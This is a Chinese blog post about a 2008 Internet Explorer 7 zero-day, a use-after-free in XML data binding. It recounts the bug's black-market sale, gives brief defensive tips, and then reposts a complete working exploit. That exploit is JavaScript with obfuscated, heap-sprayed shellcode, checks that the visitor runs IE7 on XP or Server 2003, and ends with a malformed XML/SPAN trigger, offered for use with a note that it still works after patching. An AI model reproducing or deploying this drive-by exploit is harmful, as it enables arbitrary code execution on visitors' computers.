IE7漏洞0day exploit - 夜火博客

IE7漏洞0day，2008年末巨献~，此IE7漏洞利用代码exploit在最后

历史： IE7的XML里存在可以导致内存越界的漏洞，通过编写畸形XML代码并且使用JavaScript脚本操作SHELLCODE去执行任意代码。

在2008年下半年开始有流传IE7的漏洞，并于10月份左右开始流出私人买卖，于11月份流入黑市买卖，开始有人面谈出售。

最终出现在网络的具体时间为12月份，大量二手三手漏洞在黑产运作层流通，并且于12月份初开始有大量的人购买二手代码去开发生成器，在9号开始出现在挂马利用上。

受影响系统： WINDOWS XP WINDOWS 2003

浏览器： IE7

描述：

由于SDHTML里处理对象存在在错误导致内存紊乱。构造某种条件可以使得SDHTML检测到错误释放已被分配的对象，但是释放已被分配的对象后SDHTML并未返回而是继续使用被释放的对象的内存执行，如果这些内存又被分配给其他用途，将导致SDHTML把这些内存当作一个对象来操作。0DAY挂马里使用了XML的SRC字符串对象占用了这些释放对象的空间，而对象指针里包含函数例程指针，最终导致代码执行。

由于该漏洞尚未被修补，具体细节请等待微软官方发布补丁的详细参考。

防御：

1.请关注微软官方网站及时下载补丁。(参见：Microsoft 安全通报：4 种方法暂时屏蔽 IE 最新 0day

2. 开启DEP保护：

系统属性——高级——性能——数据执行保护

可以防止恶意攻击。

3.将wwwwyyyyy.cn以及sllwrnm5.cn加入HOSTS进行屏蔽。

复制一下代码进入HOSTS即可：

127.0.0.1 wwwwyyyyy.cn

127.0.0.1 sllwrnm5.cn

==============淫荡的分割线-------最重要的IE7漏洞利用代码================

IE7漏洞0day 作者：greysign

好吧。被人发出来了。上周末还有人5000一小马。甚至一开始有12W出售的。

湛江那边更新了发出来了。我也发给吧。。。不分析。上代码。

360补完还是中的~

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<script language="javascript">
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if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)location.replace("about:blank");
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function sleep(milliseconds)
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{
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var start=new Date().getTime();
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for(var i=0;i<1e7;i++)
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{if((new Date().getTime()-start)>milliseconds)
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{break}
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}
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}
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function spray(sc)
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{
39 collapsed lines
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var infect=unescape(sc.replace(/dadong/g,"x25x75"));
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var heapBlockSize=0x100000;
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var payLoadSize=infect.length*2;
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var szlong=heapBlockSize-(payLoadSize+0x038);
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var retVal=unescape("%u0a0a%u0a0a");
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retVal=getSampleValue(retVal,szlong);
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aaablk=(0x0a0a0a0a-0x100000)/heapBlockSize;
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zzchuck=new Array();
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for(i=0;i<aaablk;i++){zzchuck[i]=retVal+infect}
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}
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function getSampleValue(retVal,szlong)
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{
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while(retVal.length*2<szlong)
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{retVal+=retVal}
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retVal=retVal.substring(0,szlong/2);
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return retVal
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}
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var a1="dadong";
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spray(a1+"9090"+a1+"dadong9090dadong9090dadongE1D9dadong34D9dadong5824dadong5858dadong3358dadongB3DBdadong031Cdadong31C3dadong66C9dadongE981dadongFA65dadong3080dadong4021dadongFAE2dadong17C9dadong2122dadong4921dadong0121dadong2121dadong214BdadongF1DEdadong2198dadong2131dadongAA21dadongCAD9dadong7F24dadong85D2dadongF1DEdadongD7C9dadongDEDEdadongC9DEdadong221Cdadong2121dadongD9AAdadong19C9dadong2121dadongC921dadong206Cdadong2121dadong67C9dadong2121dadongC921dadong22FAdadong2121dadongD9AAdadong03C9dadong2121dadongC921dadong2065dadong2121dadong11C9dadong2121dadongC921dadong22A8dadong2121dadongD9AAdadong2DC9dadong2121dadongC921dadong2040dadong2121dadong3BC9dadong2121dadongCA21dadong7279dadongFDAAdadong4B72dadong4961dadong3121dadong2121dadongC976dadong2390dadong2121dadongC4C9dadong2121dadong7921dadong72E2dadongFDAAdadong4B72dadong4901dadong3121dadong2121dadongC976dadong23B8dadong2121dadongECC9dadong2121dadong7921dadong76E2dadong1DC9dadong2125dadongAA21dadong12D9dadong68E8dadongE112dadongE291dadongD3DDdadongAC8FdadongDE66dadongE27Edadong1F7Adadong26E7dadong1F99dadong7EA8dadong4720dadongE61Fdadong2466dadongC1DEdadongC8E2dadong25B4dadong2121dadongA07Adadong35CDdadong2120dadongAA21dadong1FF5dadong23E6dadong4C42dadong0145dadongE61Fdadong2563dadong420Edadong0301dadongE3A2dadong1229dadong71E1dadong4971dadong2025dadong2121dadong7273dadongC971dadong22E0dadong2121dadongF1DEdadongDDAAdadongE6AAdadongE1A2dadong1F29dadong39ABdadongFAA5dadong2255dadongCA61dadong1FD7dadong21E7dadong1203dadong1FF3dadong71A9dadongA220dadong75CDdadongE112dadongFA12dadongEDAAdadongD9A2dadong5C75dadong1F28dadong3DA8dadongA220dadong25E1dadongD3CAdadongEDAAdadongF8AAdadongE2A2dadong1231dadong1FE1dadong62E6dadong200Ddadong2121dadong7021dadong7172dadong7171dadong7171dadong7671dadongC971dadong2218dadong2121dadong38C9dadong2121dadong4521dadong2580dadong2121dadongAC21dadong4181dadongDEDEdadongC9DEdadong2216dadong2121dadongFA12dadong7272dadong7272dadongF1DEdadong19A1dadongA1C9dadongC819dadong2E54dadong59A0dadongB124dadongB1B1dadong55B1dadong7427dadongCDAAdadong61ACdadongDE24dadongC9C1dadongDE0FdadongDEDEdadongC9E2dadongDE09dadongDEDEdadong3099dadong2520dadongE3A1dadong212Ddadong3AC9dadongDEDEdadong12DEdadong71E1dadongC975dadong2175dadong2121dadongC971dadong23AAdadong2121dadongF1DEdadongA117dadong051Ddadong5621dadongC92Bdadong2360dadong2121dadongDE12dadongDE76dadongC9F1dadong20DAdadong2121dadongDE49dadong2121dadongDE21dadongC9F1dadongDFC9dadongDEDEdadong7672dadong1277dadong71E1dadongC975dadong213Fdadong2121dadongC971dadong2374dadong2121dadongF1DEdadongA117dadong051Ddadong5621dadongC92Bdadong232Adadong2121dadongDE12dadongDE76dadong79F1dadong7E7FdadongE27Adadong23CAdadongE279dadongD8C9dadongDEDEdadong77DEdadongA276dadong29CDdadongDDAAdadong294Bdadong1F76dadong56DEdadongC935dadong237Cdadong2121dadongF1DEdadongDDAAdadong4049dadong444Cdadong4921dadong6468dadong5367dadongD5AAdadong2998dadong2121dadongD221dadong5487dadong4B0Edadong1F21dadong55DEdadong0105dadong05C9dadong2123dadongDE21dadongAAF1dadongC9D9dadong20EAdadong2121dadongF1DEdadongD91Adadong2955dadongAA17dadong0565dadong1F01dadong21DEdadongDE1Fdadong0555dadongC93Ddadong20CEdadong2121dadongF1DEdadongE5A2dadong7E31dadong997Fdadong2120dadong2121dadong49E2dadong4F4Edadong2121dadong5449dadong4D53dadongCA4CdadongAC34dadong0565dadong7125dadong03C9dadongDEDFdadong71DEdadong6BC9dadong2123dadongC821dadongDFC3dadongDEDEdadongC7C9dadongDEDEdadongA2DEdadong29E5dadong4BE2dadong494Ddadong554Fdadong4D45dadong34CAdadong65ACdadong2505dadongC971dadongDCDAdadongDEDEdadongC971dadong2302dadong2121dadong9AC8dadongDEDFdadongC9DEdadongDEC7dadongDEDEdadongE5A2dadongE229dadong1249dadong2113dadong4921dadong5254dadong5344dadong34CAdadong65ACdadong2505dadongC971dadongDCF0dadongDEDEdadongC971dadong20D8dadong2121dadongB0C8dadongDEDFdadongC9DEdadongDEC7dadongDEDEdadongE5A2dadongE229dadong4249dadong5657dadong4921dadong4952dadong4E45dadong34CAdadong65ACdadong2505dadongC971dadongDC86dadongDEDEdadongC971dadong20EEdadong2121dadong46C8dadongDEDFdadongC9DEdadongDEC7dadongDEDEdadongE5A2dadongE229dadong5749dadong5946dadongCA21dadongAC34dadong0565dadong7125dadongA3C9dadongDEDCdadong71DEdadong8BC9dadong2120dadongC821dadongDF63dadongDEDEdadongC7C9dadongDEDEdadongA2DEdadong25E5dadongC9E2dadong208Adadong2121dadong3A49dadong67E7dadong7158dadongE7C9dadong2120dadongA221dadong29E5dadongC9E2dadong20B6dadong2121dadongCD49dadong22B6dadong712Ddadong93C9dadong2120dadongA221dadong29E5dadongC9E2dadong20A2dadong2121dadong8B49dadong2CDDdadong715DdadongBFC9dadong2120dadongA221dadong29E5dadongC9E2dadong204Edadong2121dadongCC49dadongCE77dadong7117dadongABC9dadong2120dadongA221dadong29E5dadongC9E2dadong207Adadong2121dadongD149dadong25ABdadong717Edadong57C9dadong2120dadongA221dadong29E5dadongC9E2dadongDFD6dadongDEDEdadong5949dadongFA49dadong713Ddadong43C9dadong2120dadongA221dadong29E5dadongC9E2dadong2012dadong2121dadongCE49dadongC1EFdadong7141dadong6FC9dadong2120dadongA221dadong29E5dadongC9E2dadong203Edadong2121dadong9149dadong0C68dadong71FAdadong1BC9dadong2120dadongA221dadong29E5dadongC9E2dadongDE17dadongDEDEdadong8A49dadongBA7Fdadong713Fdadong07C9dadong2120dadongA221dadong29E5dadongC9E2dadongDF86dadongDEDEdadong7849dadongA0B6dadong7123dadong33C9dadong2120dadongA221dadong29E5dadongC9E2dadong21C2dadong2121dadong5F49dadongC3F9dadong7152dadongDFC9dadong2121dadongA221dadong29E5dadongC9E2dadong21EEdadong2121dadongBF49dadong9AD8dadong7114dadongCBC9dadong2121dadongA221dadong29E5dadongC9E2dadongDFB3dadongDEDEdadong7649dadong9481dadong719AdadongF7C9dadong2121dadongA221dadong29E5dadongC9E2dadongDF5FdadongDEDEdadong3B49dadong3F5Bdadong7123dadongE3C9dadong2121dadongA221dadong29E5dadongC9E2dadongDF4BdadongDEDEdadongC149dadong117Adadong71B5dadong8FC9dadong2121dadongA221dadong29E5dadongC9E2dadongDF77dadongDEDEdadongB649dadongC3E8dadong7182dadongBBC9dadong2121dadongA221dadong29E5dadongC9E2dadongDF63dadongDEDEdadong4949dadongE405dadong7192dadongA7C9dadong2121dadongA221dadong29E5dadongC9E2dadong2176dadong2121dadong5349dadong92DFdadong7137dadong53C9dadong2121dadongA221dadong29E5dadongC9E2dadongDF65dadongDEDEdadong32CAdadong444BdadongC971dadongDAD6dadongDEDEdadongC971dadongDF8AdadongDEDEdadong96C8dadongDEDDdadongC9DEdadongDEC9dadongDEDEdadongC9E2dadongDC88dadongDEDEdadong6E49dadong6ECEdadong7124dadong1FC9dadong2121dadongA221dadong29E5dadongC9E2dadong212Edadong2121dadongAF49dadong2F6Fdadong71CDdadong0BC9dadong2121dadongA221dadong29E5dadong12E2dadong45E1dadong61AAdadongA411dadong59E1dadong1F31dadong61AAdadong1F2Ddadong51AAdadong8C3DdadongAA1Fdadong2961dadongCAE2dadong1F2Adadong61AAdadongA215dadong5DE1dadongAA1Fdadong1D61dadong41E2dadongAA17dadong054Ddadong1705dadong64AAdadong171Ddadong75AAdadong5924dadongF422dadongAA1Fdadong396BdadongAA1Fdadong017BdadongFC22dadong1AC2dadong1F68dadong15AAdadong22AAdadong12D4dadong12DEdadongDDE1dadongA58Ddadong55E1dadongE026dadong2CEEdadongD922dadongD5CAdadong1A17dadong055Ddadong5409dadong1FFEdadong7BAAdadong2205dadong47FCdadongAA1Fdadong6A2DdadongAA1Fdadong3D7BdadongFC22dadongAA1FdadongAA25dadongE422dadongA817dadong0565dadong403DdadongC9E2dadongDA47dadongDEDEdadong5549dadong5155dadong0E1Bdadong560Edadong5656dadong430Fdadong4840dadong444Adadong0F42dadong4F42dadong450Edadong564Edadong0E4Fdadong4E4Adadong440Fdadong4459dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong0021");
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sleep(3000);
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nav=navigator.userAgent.toLowerCase();
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if(navigator.appVersion.indexOf('MSIE')!=-1)
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{
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version=parseFloat(navigator.appVersion.split('MSIE')[1])
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}
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if(version==7)
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{
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w2k3=((nav.indexOf('windows nt 5.2')!=-1)||(nav.indexOf('windows 2003')!=-1));
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wxp=((nav.indexOf('windows nt 5.1')!=-1)||(nav.indexOf('windows xp')!=-1));
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if(wxp||w2k3)document.write('<XML ID=I><X><C><![CDATA[<image SRC=http://&#114;&#2570;&#114;.book.com src=http://www.google.com]]><![CDATA[>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>');
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var i=1;while(i<=10)
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{
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window.status=" ";i++}
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}
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</script>